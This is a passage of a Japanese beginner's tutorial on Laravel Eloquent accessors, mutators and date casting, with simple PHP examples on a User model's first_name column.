簡単にいうとデータをデータベースに保存する時に走る一定の処理のことです。
##そもそもアクセサとは？
そもそもアクセサとはなんでしょうか？
簡単にいうとデータをデータベースから取得する時に走る一定の処理のことです。
##使用例
　例えば、都道府県をデータベースに保存する時を考えます。
　そのまま文字データとして都道府県を保存することもありますが、多くの場合は整数に置き換えて保存します。（1が北海道、2が青森など都道府県それぞれに対応させた整数を設定する。こうする理由は文字データより圧倒的に整数の方がデータ容量が少ないからデータベースを圧迫しないからです。）
　しかし、データベースにデータを保存する時に変換して、取得した時も変換してと毎回処理を書くのはめんどくさい。。。無駄なコードが増えるから邪魔！！！
できれば、アプリケーションで自動に処理してほしいですね。
　そこで、活躍するのがアクセサとミューテタです！！
今回は基本のキということで簡単な例を扱っていきます。
最低限必要なエッセンスだけ説明します。
**では、スターーーーート！！**

#アクセサとミューテタでなにができるの？
Laravelを使ったことがある人であれば、実はミューテタとアクセサはもう使っているんです！！
Laravelではcreated_at、updated_atは自動的にCarbonインスタンスに変換されて使うようになっています。
だから、日付に関しては簡単に実装することができます。（日付については最後に記載しています）
しかし、今回は自分で独自にミューテタ、アクセサの実装する方法について説明します。

#アクセサの実装方法
アクセサはモデル内に定義します。
##アクセサの命名規則はgetFooAttribute
アクセサを設定したいカラム名が「キャメルケース」でHogeの場合、カラムがあるモデルクラスにgetHogeAttributeメソッドを作成します。

##アクセサ定義例：first_nameカラムにアクセサ定義
Userモデルクラスに下記を追加
下記のコードでfirst_nameカラムを取得する時に`getHogeAttribute`（頭文字を大文字に変える）が実行されます。

```php:app/User.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;

class User extends Model
{
    public function getFirstNameAttribute($value)
    {
        return ucfirst($value);
    }
}
```

`getFirstNameAttribute `の引数`$value`がデータベースから取得したカラムの中身になります。
ちなみに`ucfirst($value)`が頭文字を大文字にするメソッドです

##アクセサを実行する
上記のコードが正しく動いていれば、下記のように単純に`first_name`カラムを引っ張ってくるだけで自動で`getFirstNameAttribute `が実行されます。

```php:
$user = App\User::find(1);

$firstName = $user->first_name;
```

以上がアクセサの使い方です。

#ミューテタの実装方法
ミューテタもアクセサと同様にモデル内に定義します。

##ミューテタの命名規則
これもアクセサと同様に、アクセスしたいカラム名が「キャメルケース」でFooの場合、カラムがあるモデルクラス内にsetFooAttributeメソッドを作成します。

##ミューテタ定義例：first_nameカラムにミューテタ定義
下記のコードで`first_name`カラムの保存時に自動で`setFirstNameAttribute `が実行されます。

```PHP:app/User.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;

class User extends Model
{
    public function setFirstNameAttribute($value)
    {
        $this->attributes['first_name'] = strtolower($value);
    }
}
```

`value`が設定しようとしている中身になります。
`strtolower `が全て小文字に変えるメソッドです。
`setFirstNameAttribute `の引数`$value`が設定しようとしている値です。上記のメソッドはUserインスタンスの`attributes `プロパティの`first_name`に小文字にした`$value`が代入されるようになっています。

##ミューテタを実行してみる
下記の場合２行目の`first_name`カラムに`Sallay `を設定しようとした時に、`setFirstNameAttribute`メソッドが呼び出され、`Sallay`の値が渡され、ミューテタが実行されます。
**実は保存時にミューテタが実行されるわけではなく、インスタンスに値を設定する時にミューテタは実行されることに注意です**

```php:
$user = App\User::find(1);
$user->first_name = 'Sally';
```

#おまけ：日付ミューテタ
おまけに日付ミューテタについて記述します。
自分で作成した日付のカラムをCarbonインスタンスで扱い時、設定は簡単です。
定義する場所はミューテタと同じモデルの中に定義します。
その中にデフォルトである`$dates`をオーバーライドします

```php:app/User.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;

class User extends Model
{
    protected $dates = [
        'created_at',
        'updated_at',
        'deleted_at'
    ];
}
```

これにより、データベースから`delete_at`を取得すると自動でCarbonインスタンスに変換されているため、
自由にCarbonにあるメソッドを使うことができます。
Carbonについては[こちら](https://qiita.com/hitochan/items/91ec5245bcb9bae9184c)でざっとまとめているので、是非！！

以上です！！！
**ここまで読んでいただきありがとうございました！！
疑問、気になるところがございましたら、質問、コメントよろしくお願いします！！！**